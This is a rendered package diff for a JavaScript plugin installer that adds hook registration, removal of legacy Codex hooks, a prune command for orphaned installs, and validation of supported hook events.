const hookResult = removePluginHooks("codex", name, {
|
|
256
|
+
cwd: options.cwd ?? process.cwd(),
|
|
257
|
+
codexHome: homes.codexHome,
|
|
258
|
+
});
|
|
259
|
+
if (hookResult.result === "removed") {
|
|
260
|
+
console.log(`removed legacy codex hooks for ${name} -> ${hookResult.location}`);
|
|
261
|
+
}
|
|
262
|
+
}
|
|
263
|
+
|
|
189
264
|
// Append one install entry per installed target in a single-platform result.
|
|
190
265
|
// Tolerant of every result shape (single platform, shared, codex multi-home).
|
|
191
266
|
// `hash` is the pre-computed bundle hash (or null) for this install invocation.
|
|
@@ -222,6 +297,7 @@ function recordInstall(platform, result, homes, options, hash) {
|
|
|
222
297
|
home: t.home,
|
|
223
298
|
path: t.path,
|
|
224
299
|
hash,
|
|
300
|
+
marketplaceName: options.marketplaceName ?? "enact-os-plugins",
|
|
225
301
|
},
|
|
226
302
|
homes,
|
|
227
303
|
options,
|
|
@@ -241,6 +317,7 @@ function runSinglePlatform(pluginRoot, platform, homes, options, hash) {
|
|
|
241
317
|
const result = target.install(pluginRoot, home, options);
|
|
242
318
|
target.log(result);
|
|
243
319
|
recordInstall(platform, result, homes, options, hash);
|
|
320
|
+
registerInstalledPluginHooks(pluginRoot, platform, result, homes, options);
|
|
244
321
|
return result;
|
|
245
322
|
}
|
|
246
323
|
|
|
@@ -259,6 +336,7 @@ function runSinglePlatform(pluginRoot, platform, homes, options, hash) {
|
|
|
259
336
|
}
|
|
260
337
|
}
|
|
261
338
|
recordInstall("codex", result, homes, options, hash);
|
|
339
|
+
removeLegacyCodexPluginHooks(result.results[0]?.name, result, homes, options);
|
|
262
340
|
return result;
|
|
263
341
|
}
|
|
264
342
|
|
|
@@ -292,6 +370,10 @@ function runProvision(pluginRoot, options) {
|
|
|
292
370
|
}
|
|
293
371
|
|
|
294
372
|
export function runInstall(pluginRoot, options = {}) {
|
|
373
|
+
// Refuse to install a bundle that declares hook events outside the
|
|
374
|
+
// cross-surface intersection (claude, codex, cursor, enact).
|
|
375
|
+
assertSupportedHookEvents(pluginRoot);
|
|
376
|
+
|
|
295
377
|
const platforms = parsePlatforms(options.platform);
|
|
296
378
|
const homes = resolveHomes(options);
|
|
297
379
|
console.log(`install scope: ${homes.scope}${homes.scope === "local" ? ` (${process.cwd()})` : ""}`);
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
import { existsSync } from "node:fs";
|
|
2
|
+
import { homedir } from "node:os";
|
|
3
|
+
import { cwd as processCwd } from "node:process";
|
|
4
|
+
import { dirname, join, resolve } from "node:path";
|
|
5
|
+
import { fileURLToPath } from "node:url";
|
|
6
|
+
import { listInstalled } from "./ledger.mjs";
|
|
7
|
+
import { parsePlatforms, runUninstall } from "./run-uninstall.mjs";
|
|
8
|
+
|
|
9
|
+
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
10
|
+
const PACKAGE_ROOT = resolve(__dirname, "..", "..");
|
|
11
|
+
const DEFAULT_MARKETPLACE = "enact-os-plugins";
|
|
12
|
+
|
|
13
|
+
function defaultSourceRoots(cwd) {
|
|
14
|
+
const roots = [join(PACKAGE_ROOT, "extensions")];
|
|
15
|
+
const cwdExtensions = join(cwd, "extensions");
|
|
16
|
+
if (resolve(cwdExtensions) !== resolve(roots[0])) roots.push(cwdExtensions);
|
|
17
|
+
return roots;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
function sourceBundleExists(name, sourceRoots) {
|
|
21
|
+
return sourceRoots.some((root) => existsSync(join(root, name, ".agents", "plugin.json")));
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
function homeOptionForPlatform(platform) {
|
|
25
|
+
switch (platform) {
|
|
26
|
+
case "codex": return "codexHome";
|
|
27
|
+
case "claude": return "claudeHome";
|
|
28
|
+
case "cursor": return "cursorHome";
|
|
29
|
+
case "enact": return "enactHome";
|
|
30
|
+
case "shared": return "sharedHome";
|
|
31
|
+
default: return "codexHome";
|
|
32
|
+
}
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
export function runPrune(options = {}) {
|
|
36
|
+
const cwd = options.cwd ?? processCwd();
|
|
37
|
+
const ledgerHome = options.ledgerHome ?? options.home ?? homedir();
|
|
38
|
+
const marketplaceName = options.marketplaceName ?? DEFAULT_MARKETPLACE;
|
|
39
|
+
const platforms = new Set(parsePlatforms(options.platform ?? "all"));
|
|
40
|
+
const sourceRoots = options.sourceRoots ?? defaultSourceRoots(cwd);
|
|
41
|
+
const installed = listInstalled({ home: ledgerHome });
|
|
42
|
+
|
|
43
|
+
const candidates = installed
|
|
44
|
+
.filter((entry) => platforms.has(entry.platform))
|
|
45
|
+
.filter((entry) => entry.marketplaceName === marketplaceName)
|
|
46
|
+
.filter((entry) => !sourceBundleExists(entry.name, sourceRoots));
|
|
47
|
+
|
|
48
|
+
const pruned = [];
|
|
49
|
+
const failed = [];
|
|
50
|
+
|
|
51
|
+
if (options.dryRun) {
|
|
52
|
+
return { candidates, pruned, failed, dryRun: true };
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
for (const entry of candidates) {
|
|
56
|
+
const homeOption = homeOptionForPlatform(entry.platform);
|
|
57
|
+
try {
|
|
58
|
+
runUninstall(entry.name, {
|
|
59
|
+
platform: entry.platform,
|
|
60
|
+
scope: entry.scope,
|
|
61
|
+
[homeOption]: entry.home,
|
|
62
|
+
marketplaceName,
|
|
63
|
+
ledgerHome,
|
|
64
|
+
version: entry.version,
|
|
65
|
+
});
|
|
66
|
+
pruned.push(entry);
|
|
67
|
+
} catch (err) {
|
|
68
|
+
failed.push({ entry, error: err instanceof Error ? err : new Error(String(err)) });
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
return { candidates, pruned, failed, dryRun: false };
|
|
73
|
+
}
|
package/scripts/lib/run-sync.mjs
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
import { readFileSync, existsSync } from "node:fs";
|
|
2
2
|
import { join } from "node:path";
|
|
3
|
-
import {
|
|
3
|
+
import {
|
|
4
|
+
syncPlatformManifests,
|
|
5
|
+
createEnactManifest,
|
|
6
|
+
assertSupportedHookEvents,
|
|
7
|
+
} from "../../dist/index.js";
|
|
4
8
|
|
|
5
9
|
export function runSync(pluginRoot, { name } = {}) {
|
|
6
10
|
const enactPath = join(pluginRoot, ".agents/plugin.json");
|
|
@@ -16,6 +20,10 @@ export function runSync(pluginRoot, { name } = {}) {
|
|
|
16
20
|
enact = createEnactManifest({ name });
|
|
17
21
|
}
|
|
18
22
|
|
|
23
|
+
// Refuse to project manifests for a bundle that declares hook events outside
|
|
24
|
+
// the cross-surface intersection (claude, codex, cursor, enact).
|
|
25
|
+
assertSupportedHookEvents(pluginRoot);
|
|
26
|
+
|
|
19
27
|
const results = syncPlatformManifests(pluginRoot, enact);
|
|
20
28
|
for (const r of results) {
|
|
21
29
|
console.log(`${r.written ? "wrote" : "skip"} ${r.manifestPath}`);
|